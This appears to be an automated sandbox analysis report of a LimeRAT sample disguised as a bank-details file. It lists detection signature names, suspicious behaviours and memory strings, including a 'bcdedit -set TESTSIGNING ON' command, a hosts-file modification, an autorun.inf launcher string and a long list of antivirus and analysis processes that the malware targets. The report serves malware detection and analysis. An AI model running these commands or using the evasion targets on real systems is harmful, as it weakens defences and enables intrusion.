        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#slf:aggr:copyrenamed!msxsl.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: d!#slf:aggr:copyrenamed!msxsl.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#slf:aggr:copyrenamed!netsh.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: d!#slf:aggr:copyrenamed!netsh.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#slf:aggr:copyrenamed!notes.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: d!#slf:aggr:copyrenamed!notes.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#slf:aggr:copyrenamed!print.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: d!#slf:aggr:copyrenamed!print.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#slf:aggr:copyrenamed!vmmap.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: d!#slf:aggr:copyrenamed!vmmap.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:trojan:win32/obfuse.xsxg!lnk
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: "b!#alf:trojan:win32/obfuse.xsxg!lnk
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:exploit:script/makeshift.a!dha
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: $`!#alf:exploit:script/makeshift.a!dha
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:trojanspy:msil/formbook.rbf!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: %_!#alf:trojanspy:msil/formbook.rbf!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#script:adware:html/seoframe.a!lowfi
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: %_!#script:adware:html/seoframe.a!lowfi
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:trojan:win32/cassini_2b8f5083!ibt
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ']!#alf:trojan:win32/cassini_2b8f5083!ibt
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#slf:aggr:suspamsiwmieventsubsription.b
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: (\!#slf:aggr:suspamsiwmieventsubsription.b
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#slf:trojan:powershell/amsiscanbypass.c
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: (\!#slf:trojan:powershell/amsiscanbypass.c
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#slf:hacktool:powershell/internaloff.c1!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ,x!#slf:hacktool:powershell/internaloff.c1!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: -w!#blkacc:d4f940ab-401b-4efc-aadc-ad5f3c50688a
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#tel:trojan:o97m/excelobjectxllpluginabuse.b
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: -w!#tel:trojan:o97m/excelobjectxllpluginabuse.b
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:aggr:siga:msil/suspicious.send.screencap.s1
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 1s!#alf:aggr:siga:msil/suspicious.send.screencap.s1
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#agg:nivdort.cq1
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: t!#agg:nivdort.cq1
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#slf:suspfileinwinmail.j!ibt
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: h!#slf:suspfileinwinmail.j!ibt
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:nullsoft:windowsdiscount
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: g!#alf:nullsoft:windowsdiscount
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#aggr:trojan:msil/injgen.j!ibt
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: f!#aggr:trojan:msil/injgen.j!ibt
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: e!#alf:trojan:win32/cassini.a!ibt
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#lowfitrojan:js/seedabutor.c_02
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: e!#lowfitrojan:js/seedabutor.c_02
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#aggr:js/faceliker!eventlistener
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !d!#aggr:js/faceliker!eventlistener
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:powershell/bypassamsi.a!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !d!#alf:powershell/bypassamsi.a!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:trojan:html/fakealert.ar!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: "c!#alf:trojan:html/fakealert.ar!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:trojanspy:vbs/mekotio.mk!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: "c!#alf:trojanspy:vbs/mekotio.mk!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#slf:trojanclicker:js/faceliker_6
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: "c!#slf:trojanclicker:js/faceliker_6
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#slf:trojanclicker:js/faceliker_7
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: "c!#slf:trojanclicker:js/faceliker_7
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: #b!#alf:backdoor:js/potentialwebshell
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:trojan:win32/cassini_56a3061!ibt
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: &_!#alf:trojan:win32/cassini_56a3061!ibt
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#scpt:trojandownloader:vbs/adodb!owse
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: &_!#scpt:trojandownloader:vbs/adodb!owse
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#tel:exploit:o97m/ddedownloader.v!mtb
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\Foreign_Bank Account Details.exe'
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D4E0C4 AllocateAndInitializeSid,FreeSid,
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D4F884 GetCurrentProcess,GetLengthSid,InitializeSecurityDescriptor,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,GetLastError,CloseHandle,SetLastError,
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpBinary or memory string: MSVBVM60MSVBVM50MSVBVM events are artifactsRICHEDIT50Wmyself.dll%08x0x%xException in the timer procC:\Wallpaper1.bmp2 :|:1 11EditButtonVDLL:HMValidateHandleCalledC:\C:\WinSta0SkypeControlAPISkypeControlAPIAttachSkypeControlAPIDiscoverGDI32.DLLArmadillo_MutexGDI32.DLLChildControlStaticListBoxScrollBarComboBox#32770DialogPEEMU:VirTool:Win32/Obfuscator_Upatreriched20.dllRichEditANSIWndProcRichEditMDICLIENTMDICLIENTlistboxWINSTA0WinSta0Winsta0Winsta000000409CursorInternet Explorer_ServerTibiaClientTibia#32769ATL:007BF380YTopWindowYahooBuddyMainYahoo! MessengerWMPlayerAppPlaying MP3NotepadMy saved passwords - NotepadProgram ManagerShell_TrayWndtooltips_class32CityBank log-inIEFrameBank of America log-infalsetrue_Dummy_0x6A__Dummy_0x69__Dummy_0x68__Dummy_0x67__Dummy_0x66__Dummy_0x65__Dummy_0x64__Dummy_0x63__Dummy_0x62__Dummy_0x61__Dummy_0x60__Dummy_0x5F__Dummy_0x5E__Dummy_0x5D__Dummy_0x5C__Dummy_0x5B__Dummy_0x5A__Dummy_0x59__Dummy_0x58__Dummy_0x57__Dummy_0x56__Dummy_0x55__Dummy_0x54__Dummy_0x53__Dummy_0x52__Dummy_0x51__Dummy_0x50__Dummy_0x4F__Dummy_0x4E__Dummy_0x4D__Dummy_0x4C__Dummy_0x4B__Dummy_0x4A__Dummy_0x49__Dummy_0x48__Dummy_0x47__Dummy_0x46__Dummy_0x45__Dummy_0x44__Dummy_0x43__Dummy_0x42__Dummy_0x41__Dummy_0x40__Dummy_0x3F__Dummy_0x3E__Dummy_0x3D__Dummy_0x3C__Dummy_0x3B__Dummy_0x3A__Dummy_0x39__Dummy_0x38__Dummy_0x37__Dummy_0x36__DummyAA__DummyZ__DummyW__DummyV__DummyU__DummyT__DummyS__DummyR__DummyQ__DummyP__DummyO__DummyN__DummyM__DummyL__DummyK__DummyJ__DummyI__DummyH__DummyG__DummyF__DummyE__DummyD__DummyC__DummyB__DummyA__Dummy9__Dummy_x1c__Dummy7__Dummy6__Dummy5__Dummy4__Dummy3__Dummy2__Dummy_
        Source: MpSigStub.exe, 00000023.00000003.18293985930.0000015B1C0F1000.00000004.00000001.sdmpBinary or memory string: C:\WINDOWS\SYSTEM32\progman.exeexe D
        Source: RegAsm.exe, 00000008.00000002.21892235847.0000000001BA1000.00000002.00020000.sdmp, MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpBinary or memory string: Program Manager
        Source: RegAsm.exe, 00000008.00000002.21892235847.0000000001BA1000.00000002.00020000.sdmp, MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpBinary or memory string: Shell_TrayWnd
        Source: MpSigStub.exe, 00000023.00000003.18288248948.0000015B1B1FB000.00000004.00000001.sdmpBinary or memory string: GetProgmanWindow
        Source: RegAsm.exe, 00000008.00000002.21892235847.0000000001BA1000.00000002.00020000.sdmpBinary or memory string: Progman
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpBinary or memory string: %s\Rundll32.exe "%s\%s",DllCanUnloadNowShell_TrayWndSoftware\
        Source: MpSigStub.exe, 00000023.00000003.18344332390.0000015B1C1B7000.00000004.00000001.sdmpBinary or memory string: Shell_TrayWndx
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpBinary or memory string: ~SystemCache.batShell_TrayWnd
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpBinary or memory string: \Internet Explorer\Quick Launch\Shell_TrayWnd
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpBinary or memory string: Progman Folder*Administrative Tools
        Source: MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmpBinary or memory string: shell_traywnd%s\C:\WINDOWS\Sy
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpBinary or memory string: Explorer.exeShell_TrayWndGetProc
        Source: MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmpBinary or memory string: shell_traywnd
        Source: MpSigStub.exe, 00000023.00000003.18288248948.0000015B1B1FB000.00000004.00000001.sdmpBinary or memory string: SetProgmanWindow
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpBinary or memory string: shell_traywnd
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeQueries volume information: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe VolumeInformation
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeQueries volume information: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe VolumeInformation
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D4418C cpuid
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CFF3E8 GetCurrentProcessId,GetCurrentProcessId,CreateNamedPipeW,GetCurrentProcessId,
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D4D78C RtlGetVersion,RtlNtStatusToDosError,SetLastError,GetLastError,
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeCode function: 34_2_00007FF758858ED4 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

        Lowering of HIPS / PFW / Operating System Security Settings:

        barindex
        Yara detected LimeRATShow sources
        Source: Yara matchFile source: 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        May enable test signing (to load unsigned drivers)Show sources
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpMemory string: bcdedit.exe -set TESTSIGNING ON
        Source: MpSigStub.exe, 00000023.00000003.18286860697.0000015B081A5000.00000004.00000001.sdmpMemory string: bcdedit.exe -set TESTSIGNING ON
        Modifies the hosts fileShow sources
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpBinary or memory string: S:(ML;;NRNWNX;;;LW)]
        Source: MpSigStub.exe, 00000023.00000003.18293985930.0000015B1C0F1000.00000004.00000001.sdmpBinary or memory string: \avgupd.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: scanwscs.exe
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpBinary or memory string: Bsoftware\microsoft\windows\currentversion\app paths\wireshark.exe
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpBinary or memory string: procmon.exe
        Source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmpBinary or memory string: tcpview.exe
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: \startup\360tray.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: fsgk32.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: bullguard.exe
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: kav32.exe
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: sched.exe
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpBinary or memory string: fsm32.exe
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpBinary or memory string: ravmond.exe
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpBinary or memory string: fsav32.exe
        Source: MpSigStub.exe, 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmpBinary or memory string: hijackthis.exe
        Source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmpBinary or memory string: \windows defender\msascui.exe
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpBinary or memory string: \msmpeng.exe
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpBinary or memory string: FSMA32.EXE
        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpBinary or memory string: [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: kavsvc.exe
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpBinary or memory string: fsbl.exe
        Source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmpBinary or memory string: procdump.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: fpavserver.exe
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: \360tray.exe
        Source: MpSigStub.exe, 00000023.00000003.18299514362.0000015B1AF02000.00000004.00000001.sdmpBinary or memory string: kxetray.exe
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpBinary or memory string: \virus.exe
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpBinary or memory string: wireshark.exe
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: KAVPFW.EXE
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: ESET\nod32.exe
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: pctsGui.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: sbamtray.exe
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: 360tray.exe
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpBinary or memory string: torun.infshell\open\command=virus.exe[AutoRun]\virus.exe
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: kpfwsvc.exe
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: 360Tray.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: superantispyware.exe
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpBinary or memory string: mcvsshld.exe
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: RavmonD.exe
        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpBinary or memory string: [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe
        Source: MpSigStub.exe, 00000023.00000003.18315624417.0000015B1B02C000.00000004.00000001.sdmpBinary or memory string: \windows defender\msmpeng.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: op_mon.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: k7emlpxy.exe
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: CCenter.exe
        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpBinary or memory string: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: KWatch.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: quhlpsvc.exe
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: KvXP.kxp
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: kpfw32.exe
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpBinary or memory string: msmpeng.exe
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: 360TraY.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: k7pssrvc.exe
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpBinary or memory string: tmproxy.exe
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpBinary or memory string: *.csv.|!\SBAMSvc.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: k7tsmngr.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: emlproxy.exe
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: nod32.exe
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpBinary or memory string: kav.exe
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: kvsrvxp.exe
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: \360safe.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: fprottray.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: clamtray.exe
        Source: MpSigStub.exe, 00000023.00000003.18294597236.0000015B1A5CB000.00000004.00000001.sdmpBinary or memory string: savservice.exe
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: nod32krn.exe
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpBinary or memory string: avgupd.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: guardxservice.exe
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: DefWatch.exe
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpBinary or memory string: regshot.exe
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: bdagent.exe
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: kavstart.exe
